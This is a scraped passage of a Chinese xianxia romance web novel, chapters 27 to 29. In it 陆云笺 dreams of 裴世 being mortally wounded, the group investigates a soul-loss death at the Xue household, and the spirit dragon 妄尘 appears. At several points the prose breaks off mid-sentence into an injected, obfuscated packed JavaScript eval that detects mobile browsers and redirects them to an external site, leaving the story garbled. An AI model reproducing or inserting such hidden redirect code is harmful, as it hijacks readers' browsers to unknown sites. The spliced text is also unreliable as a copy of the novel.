她手搭凉棚,向远处望:“怎么又不见了?这东西动作未免也太快了。”她维持着眺望的姿势,并未回头,对身后那人道,“裴世,那东西是往这边跑了吧?” 陆云笺心下了然。她知道自己在做梦,也知道这一次大约又像从前许多个梦境一样,她又与裴世一起出来抓妖怪了。 不过这场景陌生得很,似乎从没见过。 身后走来一人,她转头看过去,见裴世穿着云间世的藏蓝弟子袍,垂着眸,冷着脸,淡声道:“是。” 她扫了眼他腰间,道:“正巧我给你的刀你带着,待会儿见着那东西,再试试这刀好不好使。”陆云笺还想仔细去看看他腰间佩的刀长什么样,无奈视线已经随着梦中的自己转了过去,什么也没看全。 她向前走了几步,道:“奇怪,这刀我也给你好一阵子了,怎么没怎么见你用过?不喜欢吗?”没听见他回答,陆云笺便又停下来,回过身等他。 裴世几步跟上,道:“刀还行,不嫌弃。” “好啊,”陆云笺佯作怒状,冷笑道,“我辛辛苦苦找的上好材料,辛辛苦苦找的上好工匠,你居然只说不、嫌、弃?”她说着又转回身去,摆手道,“我知道你是舍不得……” 裴世这回答得很快:“没有。” 陆云笺不理,径自道:“不过刀就是拿来用的,不用的话就不好使了。” 这一回她又没听见裴世回答,又转过身去看,见一老者趴在一棵枯树边,人比树还枯,正拉住裴世的衣摆。可方才她从树边走过,哪有见到什么老者? 还未上前,就见裴世轻飘飘扫那老者一眼,抬起一脚,“咔嚓”一声将他的枯手踩断了,踩断之后,他又去碾路边的草,把鞋底碾干净了,才又跟上来,道:“没听清,你刚才说什么?” 陆云笺笑笑,与他并肩而行:“我说,用脚踩有点粗暴,下次可以用刀削。”谁知,还没走出几步,又见前方有一棵不知何时冒出来的枯树,枯树边倚着一个头发胡须白花花的老头,正有气无力地喘着气。 “……”陆云笺回头去看,原先的枯树和老者都不见了。 什么老头,还会瞬移?? 陆云笺转过头,对裴世道:“此处没有迷瘴,可它动作倒快。有这本事,怕不得有个几百岁了?” 裴世冷笑道:“大概是活够了。” 陆云笺笑着做出个“请”的手势:“再试试这刀?” 裴世尚未回答,倚着枯树的那老头便扯住了陆云笺的衣摆,气若游丝道:“水……有没有水……” 裴世面色一寒,刀出鞘,一刀削了那东西的枯手:“没有水,放点你自己的血要不要?”可惜那东西从外到里都是枯的,没有血可放。 那东西也不装了,飞身扑向裴世面门。裴世不躲不闪,持刀迎上,三招便把那东西片成了片,他此时仅靠身手硬拼,也是丝毫不输任何一个修士。 正在此时,裴世身后一只庞然大掌袭来,他感受到背后杀气,正欲转身迎击,却有寒光一闪,陆云笺已替他解决了那只手。她手中破月匕首寒意逼人,饮血之后更是罩着一层寒光,她道:“我说这老头怎么这么弱,原来重头戏在后头。” 此时那东西还未发动下一步攻击,陆云笺得了空,问道:“小柿子,我送你的刀好使么?” 裴世道:“还行。” 陆云笺还欲说话,却见空中忽地出现了二十多只大掌,团团包围住二人,形成一个巨大的圈,而后那圈猛地缩小,却是空中的手掌齐齐向二人袭来! 陆云笺收了破月,改召惟霜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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裴世的脸已经没了半点血色,鬼魈留下的伤口极为骇人,他的心脏被穿透,巨大的力量震断了他心脏往下的几根肋骨,腰腹的皮肤血肉被鬼魈的利爪划破穿透,可见森森白骨。白骨泛着金色光芒,从一开始的盛而亮,缓缓逸散,缓缓黯淡。 陆云笺只觉心中一把重锤碾过,木了几秒,猛地反应过来,下意识又去护裴世的心脉。这道阵法倾注了她十成十的灵力,效力极强,血霎时便止住了,只是断骨处的金色光芒仍然越来越淡,几乎快要完全消散。 陆云笺浑身颤抖,盯着裴世惨白的脸看了许久,直到鬼魈再次向二人踏来,才反应过来。她再次抬手,这一回却不是开结界也不是画阵法,甚至不是要去迎击鬼魈。 紫色灵光亮至白炽,倏然在裴世骨骼之间炸开。 裴世腰腹处的血肉沿着伤口消退,他一时痛极,勉力睁眼去看,看到的却不是鬼魈,而是陆云笺指尖凝起的灵光。那光芒每盛一分,他便痛一分;每亮一分,他的血肉就消退一寸! 裴世蓦地睁大眼睛,一时神智混乱,几乎思考不能,只下意识拾起先前摔落在身旁的刀,掌中爆发出刺眼金光,猛地朝陆云笺刺去! 刀身尽数没入腹部,又被他尽数拔出。那刀承受不住这般强劲的灵力,断成几截,摔落在地,每一截都染着淋漓鲜血。 陆云笺低头,终于看清了那把刀。 刀柄上,刻的是几只圆滚滚的柿子。 27. 夺魂煞 陆云笺猛地惊醒,仍觉心脏钝痛,如被重击。缓了好一会儿她才发现自己躺在床上,转头去看,窗外天空已微有亮色,一夜竟是已经快过去了。 裴世正坐在桌边看什么卷轴,显是一夜未眠。他时刻留意着陆云笺的动静,见她坐起,便收了卷轴,意味不明地笑道:“陆小姐睡得很好啊。” 他肤色本就是冷白,此时浅淡天光打在他脸上,倒显得这白有几分凄凉,陆云笺不由得又想起梦中他惨白的脸色。 陆云笺虽做过好些以这个时空为背景的梦,但从没有任何一个如此清晰、如此真实、冲击力如此之大,教人难分虚实,即便已从梦中醒来,却仿佛仍旧身在梦中。 她在现代时一直觉得这些梦都不过虚假之景,因此从不放在心上,而自来到修真界,她便再没做过这样的梦,以前做过的大多数也似乎都无关紧要,因此未曾深究。 她怔愣许久,垂眸去看裴世心口。 她在那里见过一道伤疤,陈旧,但仍然狰狞可怖。 陆云笺忽然有了一个可怕的猜想,如果她梦中所见全然属实,那似乎许多东西就都有解释了。 为何大家都说她从前与裴世感情最好,为何父亲与兄长都让她与裴世好好相处……又为何,昔日好友,反目成仇。她想起贺江年说裴世曾徒手撕碎鬼魈,受了重伤,恰巧也就在她重伤闭关的那一天。 裴世见她许久不说话,便起身向她走来,道:“陆小姐是想起了什么?” 陆云笺收回目光,又落在他眸中:“裴世,我们……是不是有什么误会?” 裴世停下脚步,半晌,复又笑起来,不知是什么情绪:“我也想知道,我们之间,是不是有什么‘误会’。”他如此说,却并没有继续这个话题,而是转身走向房门,就要将门推开。 陆云笺忙下了床,想要阻拦:“裴世!”而裴世两只脚都已经踏出了门,他侧着脸,轮廓镀了层淡淡辉光,并无任何异常,而天还没有完全亮。 裴世道:“鬼界的景象,是幻影。” 陆云笺没说话,等着他继续。 “它早就布好了幻境,在此等我们。如今它受了伤,自然无力维持这么大的幻境,因此这些东西维持一段时间后会自动消失,鬼界的景象难以制造,想必它下了血本,借着中元将鬼界的景象搬过来,一般人见到,自然会吓得魂魄不稳。它早就在此等我们了。” 裴世看她一眼,不消他多说,陆云笺明白,只有她的房间是这样的幻境重重,大概不是在等“他们”,而是在等“她”。 陆云笺无意识地屏住呼吸。 这两天发生的一堆乱七八糟又极具冲击力的事震得陆云笺整个人都有些发愣,直到几人都上了季衡雇的马车,才稍稍缓过神来。 季衡性子急,先行一步去查探情况,便由季瑶来给陆云笺、裴世、贺江年三人说明溟海村的情况。 季衡雇的马车内部十分宽敞,即便五人都坐下也绰绰有余。 “云间世与镜阳宗听到风声,便派遣兄长与我前去溟海村查探情况,岂知在那时溟海村的百姓大多就都已遭难,或莫名失魂,或死于非命。 “管辖溟海村的地方仙门隐瞒不报,兄长与我赶到时,距溟海村村民遭难已过去两月有余。 “溟海村属云间世辖地,云间世得知此事,令各地方仙门排查所管辖的领域是否有活人失魂或离奇死亡的现象,排查期间,兄长与我便留在溟海村找寻线索。” 陆云笺听季瑶将云间世和镜阳宗分得如此清楚,心中又是五味杂陈。 第一第二大门派素来不和,此事人尽皆知,不过近年来两大门派的关系似有缓和,云间世少主陆明周与镜阳宗首席弟子季衡、季瑶往来甚密,季衡、季瑶甚至有时会以云间世的名义接受委托。 正因如此,陆云笺本以为季衡、季瑶也能算半个云间世的人,如今看来却并非如此,不免又有些怅然。 “当时我负责处理遇难百姓的遗体以及安抚幸存百姓,兄长则对溟海村及附近妖邪进行排查,就是在那时,兄长与妖龙交过一次手。当时我并不在场,而兄长与那妖龙过招也不过寥寥,未能看清妖龙面目。也正因如此,兄长与我才怀疑到那妖龙身上——” 话未说完,马车忽然猛地一震,众人当即凝神戒备。季瑶打住话头,率先跳下马车去察看情况。 贺江年缓了口气,也跳下马车:“什么东西敢拦我们的马车,不要命了?” 一行人下了马车,见一名作道士打扮的中年男子正慌慌张张地向季瑶赔礼道歉,想来他也不是有意要拦几人的马车,只是一时不慎撞过来,惹得马车猛地刹住。 贺江年奇怪道:“不是……我们马车那么大,你怎么好端端地就撞过来了?” 然而抬眼望去,众人却是都没心思纠结于此了。这人之所以作道士打扮,是因为他是招魂队伍里的一员,这样游街似的招魂仪式,众人如今也算是有几分熟悉。 中间抬着的,是名年轻男子,双目紧闭,脸色惨白,像是死人的白,却又带着几丝生者的气息。 失魂。 几人匆忙赶到时,终于确定此人正是几人正要调查的幸存者。 季衡面色凝重,道:“不想还是晚了一步。” 失魂之人被抬了回来,正摆在院子中央,一妇人以袖掩面,泣不成声。几人安抚交谈,终于弄清了这家的基本情况: 这家男主人前些年因为发妻亡故而从溟海村迁出,带着个男孩儿,正是这个失魂的人;这妇人也因丈夫亡故而改嫁,带着个才几岁的小女孩儿。前些日子这家男主人也亡故了,留下这位薛夫人独自拉扯孩子,儿子已及弱冠,尚未婚配;女儿刚满八岁,身体却不大好。虽不愁吃穿,却并不觉得有多欢乐。如今儿子又失了魂,留下母女二人相依为命,称得一声孤苦。 季瑶道:“这些江湖道士多是装神弄鬼,救不了人,薛夫人为何不先上报仙门?” 薛夫人止了哭泣,放下衣袖,眼睛有些红肿:“听说若是能在十二时辰内找回魂魄就没事了,便先寻了招魂队伍,还没来得及上报仙门。” 几人有些唏嘘,没对她说这被妖魔鬼怪吞了的魂魄多半是找不回来了,四下察看,却并未发现什么明显异常。 季瑶又道:“令郎失魂前可有什么征兆?又或说,为何失魂?” 薛夫人摇头:“前天晚上还好好地睡下了,第二日不见起来,进门一看就这么直挺挺地躺在榻上,怎么喊都不醒。请了道士来看,才知道是失魂。” 裴世道:“此处邪气甚重,恐怕薛夫人和令媛易受影响,还是检查一番为好。不知薛夫人和令媛是否方便?”他说这话时神色严肃,几人却都知道这是胡说八道。 莫说邪气深重了,四周妖魔鬼怪气息都十分淡薄,顶多稀稀拉拉几只,如何值得特意去验?只是那东西既是要夺人魂魄为己所用,为何独独只吞了这一人的魂魄? 薛夫人怔愣一瞬,随即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047614|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扯出个笑容:“自然方便,只是小女阿敏近来染了风寒,此时尚在屋内休息,未曾起来。” 裴世笑道:“无妨,待令媛方便时再查也不迟。不过这检查之事……”他的目光一一从众人身上扫过,最后停在季衡与季瑶身上,“还需麻烦季公子与季小姐。” 季瑶点头,上前将灵力打入薛夫人体内查探,微微蹙眉:“夫人患有哮喘之症?” 薛夫人果真咳了几声,道:“不想仙君医术也如此高超。妾身确实患有哮喘之症,已服药多年。” 季瑶道:“略通岐黄之术罢了。” 正在此时,陆云笺的肚子不合时宜地叫了起来。 陆云笺:“……” 见一众人都转头看她,陆云笺只好不好意思地解释道:“我早上没什么胃口,没吃饱。不好意思,你们继续。” 薛夫人道:“是我考虑不周。只是说来惭愧,我不擅庖厨之道,还需去市集上买些吃食回来。”陆云笺闻言,目光下意识落在她手上,微微蹙眉。 季瑶道:“那东西可能还在此处,稍后我们会设下结界护住此处宅院,薛夫人还是不要轻易出门为好。”此言一出,场上忽地一片寂静,无人说话。 见气氛略有些尴尬,陆云笺忙举手道:“我去买吃的好了。反正……”反正我也不会设结界。说着与众人打了招呼,摸了把怀里收着的符咒,便踏出门去。 她本想拉个人,却觉得拉谁都不合适,只好作罢。走了几步,却忽听身后有人跟了上来,回头一看,却是裴世三两步行至她身旁,他正欲开口,陆云笺却先一步问道:“你不留下来设结界吗?” “设结界,他们三人就足够了。”裴世道,“与此相比,我倒是更关心,陆小姐是发现了什么?” “好吧,这也被你发现了。”陆云笺垂眸去踢脚边的一粒石子儿,一时没说话。因着那个梦,她现在看见裴世都觉得浑身不自在。 她一脚把那石子儿踢出几米远,整理了心绪,道:“我觉得,薛夫人应该不太可能完全不会做饭吧?” 裴世道:“此话怎讲?” 陆云笺道:“她的手长了那样厚的茧,分明就是一双常年干活的手。虽然这家看起来生活水平还不错,但是并没有仆从,那活都是谁干?如果她经常干活的话,做饭对她来讲应该是没什么问题的,总不能每天都是去市集上买做好的吃食,我看这里离市集也有点距离,不是很方便。” 裴世道:“陆小姐好眼力。” 陆云笺笑笑,倒不是她眼力好,只是在现代,她的父亲也有这样一双手。那样厚的茧,像是堆积了多年的尘灰,那样深的纹路,像是经年不退的刻痕。怎么会看不出来是经过怎样的磨砺? 裴世接着道:“所以,你觉得她在撒谎?” 陆云笺道:“我可没这么说啊,凡事都有例外情况嘛。我就是随便想想。” 虽是这么说,她却半点没放松警惕。买了吃食回去,衣袖不慎挂上大门边一处突出的铁钉,陆云笺顿了片刻,抬手一扯,“刺啦”一声撕开一条大口子。 裴世侧头看她。这动静不算小,几人原本正坐在院中石桌旁谈话,一听这声音,齐齐回过头望她。 陆云笺故作惊讶地抬手去看那条裂口,慌张道:“完了,这衣服我哥送我的,他要是知道给我刮了这么大个口子,肯定要说我了。”她求助的目光一一扫过众人,最后毫不掩饰地停在薛夫人身上,“薛夫人,可以请你帮我缝缝吗?” 28. 神龙现 薛夫人无意识攥紧了手中帕子,笑道:“仙君身上的都是稀罕的绫罗绸缎,我们普通老百姓使的针线怎么配得上呢。” 陆云笺道:“没事的,能缝起来就好,还请薛夫人帮帮忙吧。” 薛夫人面露窘色,干笑道:“不瞒仙君,说来惭愧,这女红之事,我也不大擅长,怕糟蹋了仙君的衣裳。” 陆云笺见她如此推脱,叹了口气,道:“好吧。那薛夫人知道哪里有好一点的裁缝吗?我回头找裁缝给我缝缝。” 薛夫人道:“这……” 裴世懒得与她周旋,皮笑肉不笑道:“薛夫人是刚搬来此地不久吗?” 薛夫人道:“倒也不是,只是从前这些事多交与亡夫,亡夫去后,便都交与小儿。我足不出户已久,确实不大清楚外面的事。”这话便是将所有问题都堵死了。 陆云笺便不再问,道:“没事没事,先吃饭吧,大家应该都有些饿了。” 众人说着便进了饭厅,陆云笺将买的吃食一一在桌上摆好,随口问道:“要吃饭了,是不是要喊……”话未说完,说曹操曹操便到。 扎着双髻的小女孩儿迷迷糊糊揉着眼睛从厅后走出来,先半眯着眼扑到薛夫人怀里蹭着撒了会儿娇,好半天才抬起头,像是才注意到坐在厅中的众人。 小女孩儿睁大了眼睛,回头问母亲:“娘亲,怎么来了这么多客人?” 薛夫人弯腰探了探小女孩儿的额头,笑道:“没事的,哥哥姐姐们都是来抓害哥哥的妖怪的。” 小女孩儿转过身,转着眼珠子一一扫过众人,最后停在陆云笺身上,脱了母亲的怀抱就跌跌撞撞奔向她。薛夫人在后面喊:“阿敏,你还发着热呢,不要传染仙君姐姐……” 阿敏已经迷迷糊糊扑到陆云笺怀里了,陆云笺下意识搂住了她,手一探,果真烧得厉害,忙道:“没事没事。” 裴世一挑眉,走上前来,就要去拽阿敏,阿敏霎时清醒了许多,闪身避开,躲到陆云笺背后,死死抓住她的衣摆。裴世伸出来的手凝滞在半空。 阿敏说:“这个黑衣服的哥哥看起来好凶,会吃人。”此言一出,裴世脸一黑,更像是会吃人了。 陆云笺拼命忍住才没笑出声,心道这小孩儿眼神不错,和之前的茵茵不一样,也不知道茵茵到底为什么会觉得裴世温柔好说话。 忍了一会儿,陆云笺道:“你烧得厉害,叫那位季姐姐给你看一看。”说着就把她往季瑶那边推。 阿敏没说话,只是抓着她衣摆的手更加用力,躲得更深了。大概因为季衡、季瑶虽然看起来不会吃人,但到底清清冷冷的,看着不好接近。 薛夫人忙道:“小女怕生,从前一见生人就躲,这回大概是与这位仙君投缘。” 阿敏抬头望着陆云笺,也道:“这个姐姐温柔,好说话,我喜欢这个姐姐。” 陆云笺的确是个易招小孩子喜欢的体质,闻言只觉心情都明朗了不少,拉了张椅子给阿敏坐下,笑道:“我看阿敏也觉得很喜欢。” 薛夫人忙着摆杯盘碗筷,待众人都就坐了,她却迟迟没有坐下。她踌躇了一会儿,捏着帕子,赔笑道:“那便请诸位仙君用饭吧,妾身身体略有不适,就不奉陪了。” 裴世却毫不体谅人,拾起一双筷子便递给她,面上笑容不见半点真心:“薛夫人还是用些饭吧,不用饭只怕更受不住。” 薛夫人面上笑容不坠,却也没立刻接过筷子,而是抬起眼眸回望裴世,带了些不愿让步的意味。 气氛一时尴尬到极点,却也没人打破这僵持的局面。对视半晌,还是薛夫人败下阵来,接过裴世手中的木筷,谁知筷子还没拿稳,薛夫人便剧烈咳嗽起来,咳得几乎要干呕,筷子也“啪嗒”一声摔在地上。 众人一时没反应过来,阿敏最先站起身,慌里慌张跑到母亲身边,手忙脚乱却又熟门熟路地从母亲身上找出一瓶药丸,就着清水喂了一粒下去。 吃了这药丸,薛夫人总算没咳了,阿敏扶着她,拍着她的背帮她顺气,边拍边气呼呼地瞪着裴世,裴世与她视线相触,不着痕迹地避开她的目光。 闹了好一阵,阿敏扶着母亲去屋里休息,才又噔噔噔跑到陆云笺旁边坐下。她原本虽发着高热,有些疲惫,但总归还是明朗的,这会儿又是气呼呼又像蔫了的草一样,低着头扒饭,时不时还踹两脚桌腿。 陆云笺觉察到不对劲,抚着她的背宽慰道:“阿敏不要气,刚才是我们不好,等你娘亲好了,我们就去赔礼道歉好不好?” “不好!”阿敏气鼓鼓地抬头看她,眼泪打着转,“他不讲道理!娘亲不舒服,他还非要娘亲吃东西才这样的!” 陆云笺扫裴世一眼,见他自顾自夹菜吃饭,仿佛此事与他毫不相干,她只好转过头,摸着阿敏的脑袋违心地道:“那个哥哥也是好心的,只是他没想到你娘亲这么不舒服,好心用错了地方。” 阿敏不再理论,只还是气鼓鼓的。 贺江年都不善于应对这种场面,更不用说其余三人,阿敏又不愿接近他们,因此宽慰安抚她的任务,就都落在陆云笺头上。这顿饭用得不大舒心,不过反正陆云笺自打来到这个世界就没用过几顿舒心的饭。 用了饭,她好说歹说把阿敏哄到屋里睡觉,这才觉得轻松了半分,活动活动筋骨,又在桌边坐下:“现在要做什么?” 季衡道:“此人才刚刚失魂,陆小姐也遭遇了幻境,那东西应该还在附近,我们不妨在方圆几里进行搜索,尽量把他的魂魄找回。” 裴世道:“既如此,那不是应该先从此处查起?” 季瑶道:“我方才为薛夫人把脉时测过她的灵力……”说着便摇头,给出了答案。此处妖魔鬼怪的气息混杂而微弱,而这薛夫人身上既无妖魔鬼怪的气息,也无灵力气息,基本可以排除嫌疑。 “烦死人了。”贺江年愤怒捶桌,“这东西无影无踪无声无息的,躲得快藏得深,这算什么?有本事正面来打!” 陆云笺深表赞同。但凡那东西敢直接现身,不管它有什么本事,在座任何一人都能直接把它片成片。 她叹了口气,支着腮拨楞桌上倒放的茶杯盖:“万一一时间没查出来,它又去别的地方害人怎么办?” 裴世笑道:“陆小姐不如先担心自己,我看那东西盯上了你,一时半会儿不会转移目标。” 陆云笺:“……” 季瑶道:“的确如此,但这些人几乎毫无共同点,唯一出现较多的共同特征便是都出自溟海村,而这一家已经是从溟海村迁出的最后一家了,若是在此处还探查不出来,只怕在别处难度会更大。” 贺江年道:“能不能用什么法子把它引出来?这样找的话简直是大海捞针,太难找了。” 若要引蛇出洞,还需投其所需。 季衡道:“倒是有一法,只是太过冒险。若是开启献祭法阵,献祭灵魂,引……”话未说完,便听天边似有轰隆雷响,金光乍现,极为炫目。 众人回头去看,见一道闪电劈过防护结界,那层薄膜一般但流淌着熠熠灵光的结界如同鸡蛋壳被砸碎了一角,整个结界以极快的速度破碎、消失,最后化为虚无。 防护结界破了! 那可是季衡、季瑶、贺江年合力设的结界,要如何才能这么轻易地便被破除了? 季衡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆云笺自觉闪到一边,四人站了方位,各自画了一角法阵,灌入灵力。 那法阵最初是个诡谲复杂的图案,汇集灵光,施以法咒,片刻之后,猛地绽出极强的光芒,强光过处如层云压境,疾风肆掠,每过一处,都有无数草木拔地而起,伴随着妖魔鬼怪的尖声厉叫。 然而这样摧枯拉朽的气势没有持续多久,刚蔓延数米,那法阵便陡然失去了光辉。 众人皆是一惊。何方神圣,连绝杀阵都这么轻易便破了? 裴世脸色也不大好看,蹙眉抬眼打量其余三人。贺江年被他的目光刺得一激灵,辩解道:“这不怪我吧,那什么……虽然我不是风华五君,但这绝杀阵我还是没问题的。” 裴世觉得好笑:“贺公子这么急做什么?我可什么意思都没有。” 若是能力不足,那也该是他先爆体而亡,而不是法阵失效。众人尚在分析缘由,忽见法阵重新亮起了光芒,只是这光芒柔和,远不如先前强烈炫目。 不多时,一道影子出现在法阵中央,渐渐显形,长身巨爪,通体漆黑,周身灵光笼罩,拨云去雾,自长空之上降临。 分明是完整形态,每一处都极尽生动鲜活,却又朦朦胧胧,教人看得清楚,却看不真切,难辨真实与虚幻。 黑龙降于绝杀阵正中央,收了利爪,缓缓转过头,一双金黄眼瞳足有一成年男子高,盯着众人,口吐人言,声音古朴苍老,自有庄重威严: “参世仙人座下,老龙妄尘,闻诸君除祟镇邪,愿助诸君一臂之力。” 29. 灵无相 参世仙人,传闻受过九天仙神点化,法力无边,慈悲为怀,普渡众生。从古至今,只有两人受过神仙点化,一位是传闻中几百年前与魔王对抗的仙人,另一位,便是这“参世仙人”。 “参世仙人”是百姓予他的尊称,仙人向来神龙见首不见尾,隐于仙山,难寻踪迹,唯有身处苦难之中或能有幸得仙人相救。 仙人座下的龙,那就是神龙。这可巧了,追了一路的妖龙,追到跟前,才发现居然是神龙。也无怪乎这绝杀阵轻易便破了,绝杀阵只杀妖魔鬼怪,神龙降于法阵中央,绝杀阵杀不得,自然会失效。 只是这神龙并不是本体,而是留在人间的魂魄。 它已经身陨数年。 众人怔忡许久,季衡最先开口道:“神龙前辈。先前多有失礼,还望前辈海涵。” 妄尘道:“仙君不必拘礼,唤吾‘妄尘’便可。吾久留人间,惹来误会,非是仙君之过。” 裴世打量着妄尘,开口道:“神龙前辈为何不前往转世,而是留于人间?”他语气倒是彬彬有礼、客客气气,可此言分明意在试探。 也是,他这样的人,恐怕无论对什么东西都不可能会有全然信任之态。 妄尘转向他,金黄眼瞳微微眯起,盯着裴世看了许久,最后瞳眸缓缓闭了一瞬,复又睁开,才道:“吾有一不放心之人在这世上,吾想再见他一面。徘徊数年,未有结果。” 妖死后要逗留人间的确比人要容易得多,但总归要去转世,妄尘徘徊数年,时日也终将尽了。 季瑶道:“我等也当竭力助前辈了却夙愿。” 季衡收了剑,略显疲惫之色,道:“误会已解,结界既破,还是先行赶回薛宅,以免再生意外吧。” 五人一龙回到薛家宅院,刚推门而入,便见一堆白袍道士围坐一圈,中间躺着失魂的薛家公子,道士们端坐闭目“施法”,嘴里念念有词,一时竟未察觉有人进门。 薛夫人拉着阿溟缩在一边,又有些忌惮又带着点希望地张望着。 贺江年嘴快,已经嚷开了:“哪儿来的这么多假道士?不是说不要随便开门吗?” 薛夫人战战兢兢地回话:“这些道长都说有招魂之能……我看五位仙君久久没有回来,这些道长听闻有人失魂,便来此处询问,我就先请了道长们进来施法……” 贺江年气了个半死:“被妖魔鬼怪吞了的魂魄哪能这么容易就找回来!走走走!都别添乱!”说着便直接拎起一个道士要丢出去,众道士都连忙起身闪开,露出中间躺着的薛家公子来。 伸长脖子一看,却是哑口无言。那薛公子哪还有半点人样,浑身鲜血淋漓、坑坑洼洼,骨头都像是要被嚼烂了,原先失魂尚还有一线生机,如今当真是死透了。 薛夫人怔愣一瞬,随即扑上去,嚎啕大哭。阿敏在一旁愣了好一会儿,似乎是吓得厉害,小脸苍白、双目圆睁,许久没动弹。 陆云笺自己也吓得缓了好一会儿,缓过劲儿后又连忙去安抚阿敏,阿敏扯着她衣摆,埋着脸不敢再去看。 季衡立即封了门,对众道士道:“还请诸位稍留片刻。”众道士战战兢兢应“是”,齐齐低着头,大气也不敢喘。 裴世一一扫过这些道士的脸,目光停在人群最深处。 十个道士里面,不少都是熟面孔。先不说之前在许淮宅子上遇见的那三个假道士,也不说胡庆府上几个家丁,就连阿宋都来凑热闹了。阿宋仍是脸色略苍白,垂着头,个子虽不矮,却永远都站在最后头,很容易被人忽略。 裴世越过众人,朝阿宋一抬下巴:“阿宋,又见面了。” 阿宋仍是没有抬头,只恭恭敬敬行了礼:“裴仙君。” 裴世道:“怎地也跑来做这装神弄鬼的勾当了?” 阿宋道:“为弄口饭吃而已。” 裴世微微一笑,不置一词。 接着便是照惯例查身世验血缘测灵力各种询问,毕竟除了这样,并没有别的方式可以确定嫌疑人或者解除谁的嫌疑。于是乎,十个假道士,也是什么都没验出来。 季衡扫了十人一眼,却没急着放他们走,而是请薛夫人腾了间空房,请假道士们去房内待上片刻。他在那间空房四周都设了结界,转头对妄尘道:“不知前辈可有什么方法助我们查验?” 妄尘一直跟在众人身后,只是他已是魂魄,旁人看不见碰不着,并不知它在此。妄尘缓缓点头,道:“吾有一法,可还原逝者生前所见景象,或可一试。” 季衡退至一旁,做出“请”的手势:“请前辈施法。” 妄尘点头,挑了院中空地,开始画阵法。龙爪庞大,阵法复杂,如此占了一大片空地,十分威武。 妄尘画得极快,转眼阵法已成,它缓缓抬头,道:“法阵已布好,请诸位入阵。” 走在最前头的是季衡,随后便是季瑶,以及缠在季瑶身旁撕都撕不下来的贺江年。裴世照例抱着手,不紧不慢、懒洋洋地走在最后。 前几人都顺顺利利进阵了,轮到陆云笺时,妄尘却阻住她:“仙君止步。” 陆云笺抬头望它。 “进入此法阵后,实际上是以灵魂进入亡者记忆进行感知,仙君魂魄不稳,还是不要进去为好。” 陆云笺心一紧。裴世在她身后,闻言一挑眉:“怎么个不稳法?” “这……”妄尘一顿,看陆云笺一眼,随即垂下眼眸,“老龙法力有限,粗略观察,说不出具体在于何处。” 陆云笺忙往旁边一闪,着急忙慌地把裴世往前推:“没事没事,那我就不进去了,反正我进去也没什么用。” 裴世正欲开口,谁知妄尘又阻住他:“这位仙君躯体不稳,也不要进去为好。” 这下陆云笺和裴世二人都懵了。 裴世道:“我躯体不稳?怎么说?” 妄尘道:“并非血肉之躯。” 见二人都不解,妄尘补充道:“并非人生肉长成。若进入法阵,恐在魂魄归位时出错,还是小心为妙。” “什么意思?”裴世冷笑,“我有爹有娘,什么叫并非人生肉长成?” 妄尘垂下眼,关闭法阵,不作回答。 陆云笺无比清晰地闻见了空气中的火药味,大脑疯狂运转,却不知要说些什么,又觉得说什么都不妥,只能明知无用而轻轻拉了拉裴世的衣角。 陆云笺原以为裴世会追问,甚至可能会与妄尘对峙。她虽并不那么了解裴世,却也知道,这人应当是很倔的,他想知道的东西,想必会想尽一切办法知道。 然而出乎意料,裴世虽微一踉跄,却以几乎可称诡异的速度冷静下来,嘴边冷笑未退,却也没再说、没再问,一掀衣摆在石桌旁坐下,竟像个没事人一般。 薛夫人带着阿敏回了屋,院子里,两人一龙一死尸相对无言,静默得可怕。不知过了多久,陆云笺只觉自己快要在尴尬的气氛中闷死,才听见脚步声轻响, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047616|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三人已从法阵中出来。 贺江年最先出来,一见两人便问:“你俩怎么没进去?” 陆云笺笑着糊弄:“那杀人的场面裴世和我都算见过了,看着骇人,你们进去就好了,没必要大家都挤着进去。怎么样?” 季衡道:“幻境中有一身穿白色斗篷的男子操纵黑龙杀人,只是那黑龙极小,倒更像是蛇。” 提及黑龙,众人都下意识看向妄尘。幻境中啃人的的确是黑龙,除了大小,其余也的确与妄尘毫无二致。 陆云笺道:“还有别的什么东西吗?或者说,那个人身形怎么样?高矮胖瘦什么的。” 贺江年道:“身高的话好像和我差不多吧,比我矮一点,白斗篷遮得严实,什么都瞧不见。就看见他手很白,骨骼分明,应该挺瘦的。”他说着摆摆手,“别的什么都没有,那人一句话也不说,什么都看不出来。这么老半天,全程只看见那黑龙咬人,咬了许久才断气,血淋淋的,吓死人了。选这么个变态杀人法,还是人吗?” 季瑶沉吟道:“幻境杀人,本可一击致命。如此虐杀,极有可能是寻仇。” 